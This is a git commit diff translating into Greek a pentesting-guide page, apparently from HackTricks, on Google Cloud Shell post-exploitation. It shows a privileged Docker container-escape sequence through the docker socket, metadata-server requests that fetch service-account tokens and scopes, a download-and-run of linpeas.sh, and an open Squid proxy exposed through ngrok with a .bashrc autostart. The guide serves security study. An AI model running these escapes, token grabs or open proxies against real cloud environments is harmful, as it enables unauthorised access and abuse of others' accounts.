Translated ['', 'src/pentesting-cloud/gcp-security/gcp-post-exploitation

This commit is contained in:
Translator
2025-12-08 11:37:14 +00:00
parent 8ca15185c0
commit d5765fa779

View File

@@ -10,40 +10,40 @@
../gcp-services/gcp-cloud-shell-enum.md
{{#endref}}
### Container Escape
### Λήψη token χρήστη από το metadata
Σημειώστε ότι το Google Cloud Shell τρέχει μέσα σε ένα container, μπορείτε **easily escape to the host** κάνοντας:
Απλά προσπελάζοντας τον metadata server μπορείτε να αποκτήσετε ένα token για πρόσβαση ως ο τρέχων συνδεδεμένος χρήστης:
```bash
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"
```
### Container Escape / Docker use
> [!WARNING]
> Προηγουμένως το cloud shell εκτελούνταν σε container με πρόσβαση στο docker socket του host. Τώρα η Google έχει αλλάξει την αρχιτεκτονική και το cloud shell container τρέχει σε μια διάταξη "Docker in a container". Έτσι, ακόμα κι αν είναι δυνατή η χρήση του docker από το cloud shell, δεν θα μπορείτε να διαφύγετε στο host χρησιμοποιώντας το docker socket.
> Σημειώστε ότι προηγουμένως το `docker.sock` αρχείο βρισκόταν στο `/google/host/var/run/docker.sock` αλλά τώρα έχει μετακινηθεί στο `/run/docker.sock`.
<details>
<summary>Container escape commands</summary>
<summary>Docker use / Old container escape commands</summary>
```bash
sudo docker -H unix:///google/host/var/run/docker.sock pull alpine:latest
sudo docker -H unix:///google/host/var/run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest
sudo docker -H unix:///google/host/var/run/docker.sock start escaper
sudo docker -H unix:///google/host/var/run/docker.sock exec -it escaper /bin/sh
sudo docker -H unix:///run/docker.sock pull alpine:latest
sudo docker -H unix:///run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest
sudo docker -H unix:///run/docker.sock start escaper
sudo docker -H unix:///run/docker.sock exec -it escaper /bin/sh
```
</details>
Αυτό δεν θεωρείται ευπάθεια από την google, αλλά σου δίνει μια ευρύτερη εικόνα του τι συμβαίνει σε εκείνο το env.
Επιπλέον, σημείωσε ότι από τον host μπορείς να βρεις ένα service account token:
Επιπλέον, στο παρελθόν ήταν δυνατό να βρεθεί ένα token για ένα service account που χρησιμοποιούσε το cloud shell VM στον metadata server:
<details>
<summary>Λήψη service account από metadata</summary>
<summary>Παλιό service account από το metadata</summary>
```bash
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"
default/
vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/
```
</details>
Με τα ακόλουθα scopes:
<details>
<summary>Λήψη scopes του service account</summary>
Με τα παρακάτω scopes:
```bash
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/scopes"
@@ -53,37 +53,25 @@ https://www.googleapis.com/auth/monitoring.write
```
</details>
Απαρίθμηση μεταδεδομένων με LinPEAS:
### Χρησιμοποιήστε το ως Proxy
Εάν θέλετε να χρησιμοποιήσετε το google cloud shell instance ως proxy, πρέπει να εκτελέσετε τις ακόλουθες εντολές (ή να τις εισαγάγετε στο αρχείο .bashrc):
<details>
<summary>Απαρίθμηση μεταδεδομένων με LinPEAS</summary>
```bash
cd /tmp
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
sh linpeas.sh -o cloud
```
</details>
Μετά τη χρήση [https://github.com/carlospolop/bf_my_gcp_permissions](https://github.com/carlospolop/bf_my_gcp_permissions) με το token του Service Account **δεν ανακαλύφθηκε καμία άδεια**...
### Χρησιμοποίησέ το ως Proxy
Αν θέλεις να χρησιμοποιήσεις το google cloud shell instance σου ως proxy πρέπει να εκτελέσεις τις ακόλουθες εντολές (ή να τις εισάγεις στο αρχείο .bashrc):
<details>
<summary>Install Squid proxy</summary>
<summary>Εγκαταστήστε το Squid proxy</summary>
```bash
sudo apt install -y squid
```
</details>
Για την ενημέρωσή σας, το Squid είναι ένας http proxy server. Δημιουργήστε ένα αρχείο **squid.conf** με τις ακόλουθες ρυθμίσεις:
Για την ενημέρωσή σου, ο Squid είναι ένας http proxy server. Δημιούργησε ένα **squid.conf** αρχείο με τις ακόλουθες ρυθμίσεις:
<details>
<summary>Δημιουργήστε το αρχείο squid.conf</summary>
<summary>Create squid.conf file</summary>
```bash
http_port 3128
cache_dir /var/cache/squid 100 16 256
@@ -92,43 +80,43 @@ http_access allow all
```
</details>
Αντιγράψτε το αρχείο **squid.conf** στο **/etc/squid**
αντέγραψε το αρχείο **squid.conf** στο **/etc/squid**
<details>
<summary>Αντιγράψτε τη διαμόρφωση στο /etc/squid</summary>
<summary>Αντέγραψε το config στο /etc/squid</summary>
```bash
sudo cp squid.conf /etc/squid
```
</details>
Τέλος, εκκινήστε την υπηρεσία squid:
Τέλος, εκτελέστε την υπηρεσία squid:
<details>
<summary>Εκκίνηση υπηρεσίας Squid</summary>
<summary>Έναρξη υπηρεσίας squid</summary>
```bash
sudo service squid start
```
</details>
Χρησιμοποιήστε ngrok για να κάνετε τον proxy διαθέσιμο από εξωτερικό δίκτυο:
Χρησιμοποιήστε ngrok για να κάνετε το proxy διαθέσιμο από έξω:
<details>
<summary>Κάντε τον proxy προσβάσιμο με ngrok</summary>
<summary>Κάντε το proxy διαθέσιμο με ngrok</summary>
```bash
./ngrok tcp 3128
```
</details>
Μετά την εκτέλεση, αντιγράψτε το tcp:// URL. Αν θέλετε να τρέξετε τον proxy από έναν browser, προτείνεται να αφαιρέσετε το tcp:// μέρος και το port και να εισάγετε το port στο πεδίο port των ρυθμίσεων proxy του browser σας (squid είναι ένας http proxy server).
Αφού το τρέξετε, αντιγράψτε το tcp:// url. Αν θέλετε να τρέξετε τον proxy από ένα browser, προτείνεται να αφαιρέσετε το tcp:// μέρος και το port και να βάλετε το port στο πεδίο port στις ρυθμίσεις proxy του browser σας (squid είναι ένας http proxy server).
Για καλύτερη χρήση κατά την εκκίνηση, το αρχείο .bashrc πρέπει να περιέχει τις παρακάτω γραμμές:
Για καλύτερη χρήση κατά την εκκίνηση, το αρχείο .bashrc θα πρέπει να έχει τις ακόλουθες γραμμές:
<details>
<summary>Προσθήκη στο .bashrc για αυτόματη εκκίνηση</summary>
<summary>Προσθέστε στο .bashrc για αυτόματη εκκίνηση</summary>
```bash
sudo apt install -y squid
sudo cp squid.conf /etc/squid/
@@ -137,6 +125,6 @@ cd ngrok;./ngrok tcp 3128
```
</details>
Οι οδηγίες αντιγράφηκαν από [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key). Δείτε εκείνη τη σελίδα για άλλες τρελές ιδέες για να τρέξετε οποιοδήποτε λογισμικό (databases και ακόμη και windows) στο Cloud Shell.
Οι οδηγίες αντιγράφηκαν από [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key). Δείτε εκείνη τη σελίδα για άλλες τρελές ιδέες για να τρέξετε οποιονδήποτε τύπο λογισμικού (databases and even windows) στο Cloud Shell.
{{#include ../../../banners/hacktricks-training.md}}